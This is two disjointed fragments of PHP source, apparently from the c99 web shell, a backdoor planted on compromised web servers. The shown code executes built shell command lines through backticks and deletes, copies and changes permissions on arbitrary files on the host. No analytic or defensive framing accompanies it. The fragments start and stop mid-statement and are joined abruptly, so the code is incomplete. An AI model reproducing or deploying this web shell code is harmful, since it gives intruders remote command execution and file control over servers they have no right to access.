$cmdline .= " " . $v; } $ret = `{$cmdline}`; if (empty($ret)) { $arcerr .= "Can't call archivator!<br>"; } $ret = str_replace("\r\n", "\n"); $ret = explode("\n", $ret); if ($copy_unset) { foreach ($sess_data["copy"] as $k => $v) { unset($sess_data["copy"][$k]); } } foreach ($sess_data["cut"] as $k => $v) { if (in_array($v, $ret)) { fs_rmobj($v); } unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($arcerr)) { echo "<b>Archivation errors:</b><br>" . $arcerr; } $act = "ls"; } elseif ($actpastebuff) { $psterr = ""; foreach ($sess_data["copy"] as $k => $v) { $to = $d . basename($v); if (!fs_copy_obj($v, $d)) { $psterr .= "Can't copy " . $v . " to " . $to . "!<br>"; }
?> "><input type="text" name="f" size="50" value="<?php echo $dispd; ?> "> <input type=submit value="Go"></form></center> </td> </tr> </table> <?php } if ($act == "delete") { $delerr = ""; foreach ($actbox as $v) { $result = FALSE; $result = fs_rmobj($v); if (!$result) { $delerr .= "Can't delete " . htmlspecialchars($v) . "<br>"; } } if (!empty($delerr)) { echo "<b>Deleting with errors:</b><br>" . $delerr; } $act = "ls"; } if ($act == "chmod") { $mode = fileperms($d . $f); if (!$mode) { echo "<b>Change file-mode with error:</b> can't get current value."; } else { $form = TRUE;